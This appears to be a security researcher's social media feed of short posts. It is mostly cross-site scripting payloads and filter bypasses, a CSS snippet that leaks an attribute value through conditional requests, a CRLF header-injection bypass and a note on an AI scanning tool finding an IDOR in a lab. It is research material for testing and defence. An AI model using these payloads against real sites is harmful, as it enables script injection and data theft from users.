Gareth Heyes

@garethheyes.co.uk

3068 Followers 331 Following

Web security researcher at PortSwigger. Author of JavaScript for Hackers, Shazzer and Hackvertor. https://garethheyes.co.uk/#latestBook

onerror=eval,new name

<img src title=a"-' onerror="xss=title+URL,top.onerror=eval,new xss">

<svg/onload=innerHTML=URL,innerHTML=textContent>

#<img/src/onerror=alert(1)>

Splitting the email atom
Gareth Heyes
Researcher, PortSwigger

Thurs, Dec 4, 2025 | 9:00am

https://www.amazon.com/dp/B0BRD9B3GS

eval(8680439..toString(30)+"(1)")

<input type=range ongotpointercapture=alert(1)>
<input type=range onlostpointercapture=alert(1)>

<script>eval(myUndefVar);var inject="INJECTION_STARTS_HERE";var myUndefVar;alert(1);//";</script>

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: url(/5))))); background: image-set(var(--steal));' data-userid="3">

<input style=x type="hidden" onsecuritypolicyviolation="alert(1)">

<script>
throw-0o1337n,x=onerror=alert,1
</script>

In this demo, I’m using an Academy lab that contains an IDOR vulnerability. I begin by sending a single request and response to Repeater Strike.
Next I instruct the tool to generate a strike rule using the AI regular expression method. This step involves identifying the parameter under test, constructing the probes, and generating regular expressions to match relevant parts of the response.
Once a valid match is confirmed using the generated regular expression, the tool prompts to save the strike rule. The AI then mutates the probes based on the original request and scans the proxy history for similar behavior.
As a result, it successfully identifies that both the Administrator and Carlos users behave the same way to the original request—indicating a logged-in state and revealing the API key.
All of this was achieved using only 26 Burp AI credits. Importantly, once the scan check is created, no additional credits are consumed during its use.

<video poster="//psres.net?
<input name='csrf' value='1337'>...

<object data=# codebase=javascript:alert(document.domain)//>
<embed src=# codebase=javascript:alert(document.domain)//>
<object data="#
alert(1)" codebase=javascript://>
<embed src="#!
alert(1)" codebase=javascript:>

$<script> onpageswap=setTimeout; location='x'; Event.prototype.toString=EvalError.prototype.toString; Event.prototype.name='alert\x281\x29' </script>$

$<img/src/onerror=window.onerror=eval;ReferenceError.prototype.name=';alert\x281\x29;var\x20Uncaught//';z>$

$ondevicemotion=setTimeout; Event.prototype.toString=URIError.prototype.toString; Event.prototype.message='alert\x281\x29'$

<script>onerror = eval,new name</script>

<script>throw onerror=eval,{
lineNumber:1,columnNumber:1,fileName:1,message:name
}</script>
<svg onload="throw top.onerror=eval,{
lineNumber:1,columnNumber:1,fileName:1,message:'/*'+URL
}">

https://github.com/hackvertor/hackvertor/blob/master/tag-store/read_url_burp/read_url_burp.py

new new new new new new new new new new class{constructor(){return this.constructor}}

<script>
try{
throw onerror=alert,'I'
}catch{throw'love'}
finally{throw'JS'}
</script>

GET /%0D%0ASet-Cookie: foo=bar
403 Forbidden

GET /%E4%BC%8D%E4%BC%8ASet-Cookie: foo=bar
200 OK
Set-Cookie: foo=bar